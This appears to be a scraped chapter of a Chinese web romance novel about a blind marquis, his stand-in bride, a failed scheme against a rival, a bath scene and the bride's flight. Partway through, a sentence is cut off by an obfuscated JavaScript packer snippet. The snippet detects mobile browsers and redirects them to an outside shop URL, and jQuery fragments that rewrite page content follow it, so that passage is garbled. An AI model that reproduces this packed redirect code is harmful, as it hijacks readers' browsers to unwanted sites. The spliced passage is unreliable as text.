25. 第25章

作品:《替嫁给暴戾盲夫后

    于妙妙虽没读多少书,但察言观色还是会的。


    她明白,伶渊此时的心情不大好。从离开,到马车启程,两人一路沉默,耳边只有车轮滚动时发出的声音。


    半晌,寂静的车厢内突然传来了伶渊的声音:“你怎么不说话?”


    “嗯……?”于妙妙还没来得及反应,便见伶渊凑了过来。


    “伤口疼了?”伶渊问道。


    他嗅到了她身上的血腥味,而且是从方才救下她的时候便闻到了。


    只是他看不见,也不知那究竟是她身上的伤,还是旁人的血。


    她一声不吭的,连伤得重不重他也不怎么知晓。


    想罢,伶渊干脆伸手扯开了她的领口,少女雪白的肩膀一下便露了出来。


    “诶诶诶……!!!”于妙妙的脸一下烧红了,忙按住他的手,把领口又收了起来,“你你你你你突然做什么……!”


    伶渊丝毫没觉得不对劲,反倒很是自然地解释了起来:“你受伤了,把衣裳脱了,我摸摸看。”


    于妙妙紧紧地捂住自己的胸口,摇摇头:“没、没事儿,血已经止住了……也就划了一小道口子,过个十来日就好了。”


    闻言,伶渊沉默了几息,但手还是抓住她的衣服不放,又复追问了方才的问题:“那你为什么不说话?”


    于妙妙疑惑地蹙着眉。


    他怎么就那么在意她说不说话呢……


    方才那个表情,不就是不想人烦他的意思吗……


    但他既这样说了,也证实了于妙妙的想法是错误的。


    他还是允许她说话的。


    于是,她干脆换了个稍微合理一点的解释:“我……我还有些懵,没想到你会来救我……”


    默了默,她又好奇道:“这也是你计划里的一部分?”


    根本不是。


    伶渊心中暗道。


    他的计划失败了。


    本来应当是顺着张仲逑的行踪,追查到越王私自储兵的线索。


    越王做事极为谨慎,这也是他候了许久才候到的机会。


    然而,计划失败了。


    方才侍卫来了消息,越王派来接应的人收到情报,先一步撤退了。


    这一次,实属是打草惊蛇。


    今后再想抓他,想必是要更加困难了。


    不过也罢,只是抓了一个张仲逑,他也有的是办法让他们狗咬狗。


    “嗯,”伶渊松开了她的衣领,坐了回去,“算是吧。”


    闻言,于妙妙微微松了口气。


    还好还好,虽说惊险了些,但总算是在没有妨碍他的的情况下,让她认清了张仲逑这个人。


    心情一旦放松下来,浓浓的睡意也随之袭来。


    于妙妙不知不觉间阖上了沉重的眼皮,坐在座位上点起了头。


    车厢再度恢复到了寂静。


    伶渊说完,迟迟没听到她的答复,又复蹙起眉来:“你怎么又不说、”


    他话未说话,手臂上突然贴上了一股温软的触感。


    于妙妙忽然一声不吭地靠在了他的手臂上。


    伶渊顿了顿,抬手凑到她面前探了探她的鼻息。


    呼吸绵长而平稳。


    原来是睡着了。


    马车驶向了满是沙石的野路,伶渊稍稍抬起了胳膊,马车颠簸了一下,靠在他手臂上的少女就这么滑入了他怀中。


    茂密的树林将月光裁成了一片片白色的碎片,流淌在行进的马车上。


    伶渊听着她的心跳和呼吸声,一路安静。


    -


    于妙妙醒来时,耳边是缓缓的流水声,浑身热烘烘的,很是舒服。


    她后知后觉,自己应当是在回来的路上睡着了。


    那么不出意外,现在她应当已经回到侯府。


    于妙妙迷迷糊糊地睁开眼,懒懒地从喉中挤出了一两声喏喏的轻吟。


    “醒了?”


    身后突然传来伶渊的声音。


    于妙妙下意识循着声音看去,入目便是一个赤裸裸的膝盖。


    “啊!!!”


    他是不是没穿衣服!!!是不是没穿衣服!!!


    身上是泡着水湿哒哒的感觉,于妙妙立刻意识到了自己在什么地方,随即低头一看,就见着自己什么都没穿的身子,又大叫了一声,“啊啊啊啊!!!!”


    此时,伶渊正面朝她的后背,盘腿坐在浴池边。


    对方的叫声响彻了整间浴室,吵得伶渊耳朵有些疼,不禁蹙起眉来:“叫这么大声做什么?”


    “你你你我我我……!”于妙妙双臂紧紧护在身前,眼睛都不敢睁开,说话都结巴了,“我怎么没穿衣裳?!”


    伶渊手肘撑在膝盖处,托着脸,完全不以为意:“沐浴要脱衣裳,不是你说的吗?”


    沐浴……?


    她这是在沐浴……?!


    于妙妙努力让自己保持冷静:“那那那那,你你你你,你怎么在这儿?”


    伶渊拉了拉自己身上披着的干衣,回道:“我刚洗完。”


    “你和我一块儿洗?!?!?!”


    “不然呢?”


    于妙妙冷静不了了。


    她这个还没晓事的大闺女,属实是不能接受同男人一起沐浴。


    现在伶渊不仅是和她一起沐浴,甚至还把她衣裳全部脱了。


    她都急得想转过身扇他一巴掌,大骂他一句“流氓”!


    但她又发现了一件非常恐怖的事情。


    两人一块儿洗……


    那就说明他也把衣裳脱了。


    所以方才如果她真的转过身去,不就会一下子看到他的……吧……!


    于妙妙要被自己脑子里的想法荤升天了。


    伶渊听着她狂跳的心跳,见怪不怪地嗤笑几声:“你紧张什么,我又看不见。”


    说是这么说……


    但她看得见!!!


    “我我我、”于妙妙唯唯诺诺地捂住自己身前,从池子里站了起来,“我要回去了。”


    “慢着。”伶渊抬手按在她的肩膀上,硬是把她按回去,“再泡会儿。”


    于妙妙缩了缩肩膀,只觉得被他碰过的地方烫得很,连连推拒:“不泡了……不泡了……”


    话落,身后的人几不可闻地轻叹一声,忽的俯身朝她的后背贴了过来。


    于妙妙不知道他要做什么,只觉得自己光着身子,身后还有个一样光着身子的大男人,即便没发生什么都说不清了!


    她吓得抱紧自己,紧张地闭上了眼。


    紧接着,头上被什么碰了一下,随即便是轻柔的抚摸。


    “你受伤了,”耳边是伶渊极轻的话语,平静中带着一丝丝商量的意味,“再泡会儿,好不好?”


    他的嗓音低沉,轻声说话时总是很有蛊惑性。


    伶渊也不是没这般与于妙妙说过话,只是此前,他都是表面商量,实则命令的语气,但这次,听上去竟当真是在同她商量一样。


    那声音听得于妙妙有些飘飘然,就这么莫名其妙地听了他的话,点点头小声地应道:“嗯……好。”


    两人说话间,门外的侍卫敲了敲门:“侯爷,该出发了。再拖……怕是……”


    “我知道了。”伶渊打断道,“你退下吧。”


    “是。”侍卫应声退下。


    伶渊支着拐杖站了起来,对着于妙妙嘱咐道:“你再泡会儿,待到有侍女进来唤你,你才可以回屋,知道吗?”


    于妙妙点了点头:“嗯,好的。”


    随即,身后响起了衣物窸窣的声响。


    伶渊穿好了衣裳,将头发绞个半干便走了。


    房门开启又关闭,浴室内恢复到一片平静。


    于妙妙候了一会儿,待真的没有旁的动静后,这才慢慢地转过了身。


    地上是两人脱下来的衣裳。


    下面是她的,上面是伶渊的。


    那些衣服有的全湿了,有的只湿了一半。


    想必是一边泡着,一边脱下来的。


    脑海中的回忆一闪而过。


    修长的指节……手背上的青筋……宽大的手掌抓在柔软的衣料


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16711011|187819||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    上……还有按在她肩上时发烫的温度……


    于妙妙的脸“噌”一下红了。


    两个人光溜溜地一起泡在一个池子里……


    那她这清白……还、还算在吗……


    -


    当晚,伶渊没有再回来,甚至次日都不见他回府。


    短短数日,于妙妙的日子发生了翻天覆地的变化。


    她先是逃了婚,为了活命又替嫁到此,接着又为了活命当了细作。


    结果,最后依旧差点丢了这小命。


    好不容易捡回来了一条性命,她不想再这般冒险了。


    她的想法没变,她还是要离开这里,回去过普普通通的日子。


    于妙妙坐在屋内,继续写着上次没写完的离别信。


    这次写,比起上次心态又变了一些。


    上次写,只是念着伶渊供她吃供她穿,她作为受益者,临行前应当要谢谢他一番才是。


    这次写,又多了一层救命之恩。


    伶渊确实救了她,虽说都在他计划之内,但其实不救她,好像他的计划也不会有什么闪失。


    他总是把一切都规划得很好。


    救她,更像是顺手的事。


    还有就是……


    脑海中闪过张仲逑说的话。


    他杀了自己的亲生父母。


    身上还背负了旁的罪名。


    还有这一桩桩一件件危险的事。


    他太复杂了……复杂得她都怕自己会给他招惹麻烦。


    离开这里,让两人的生活都回到各自原本的轨迹,或许就是她能给他做到最好的回报了。


    于妙妙拿起笔,在这书信中写下对他发自真心的祝福。


    祝他早日康复,祝他一切安好。


    今夜,她就要走了。


    -


    次日,伶渊的马车停在了侯府大门前。


    侯府内,几名侍卫焦头烂额地四处跑着。


    “找到了吗?”一名侍卫抓着另一个急切地问道。


    那名侍卫摇了摇头,满头大汗:“没有……昨日守夜的侍卫也说没见着……”


    “没见着……那夫人怎么跑出去的?!”


    “这我怎么知道……!”


    开头的侍卫思忖片刻,又问道:“莫不是有刺客……?想劫持人质?”


    “不可能,另一名侍卫摇摇头,“夫人在屋里留了一封离别信,摆明了是偷跑出去了!”


    “那怎么办!”侍卫看向门口走进的那道身影,恐惧涌上心头,“侯爷他……他已经回来了!”


    伶渊走在府内的长廊上,拐杖随着他的步伐一下下敲着。


    张仲逑运送私粮被捕,如今软禁在自己的将军府中,等候着接受调查。


    要他说,那老皇帝也是个废物。


    他都替那老皇帝办到这份上了,堂堂一个皇帝,竟然还是碍于压力,没有将张仲逑直接关进牢里,而是用这种软禁的方式。


    “废物。”想罢,伶渊冷笑着骂了一句。


    觉察到伶渊的怒意,身后跟随的侍卫不禁吓得双手颤抖。


    “抖什么?”伶渊觉察到对方紧张的情绪,转身问道,“让你们办的事办好了吗?”


    侍卫努力克制住恐惧,点点回应:“回侯爷,先前让寻的那名仵作,已经找到了,今日便可抓住他。”


    “嗯。”伶渊点点头,“办好了就办好了,抖什么,我又不会吃了你。”


    侍卫咽了咽喉,本还想接着汇报,却是被伶渊抬手打断。


    “其他的,一会儿再说,备好药浴,我要去泡会儿。”


    “是、是……”侍卫小心翼翼地应下。


    今日阳光明媚,气温也不热,晒在伶渊身上,很是暖和。


    他驻足在这日光在站了会儿,忽然想起了什么,勾了勾唇,命道:“虞姝呢?叫她过来,陪陪我。”


    闻言,侍卫的心凉了一半,本已经做好了的心理准备,在此刻依旧是不堪一击。


    冷汗浸湿了他的后背,他一脸赴死,颤声道:“夫人她……跑了。”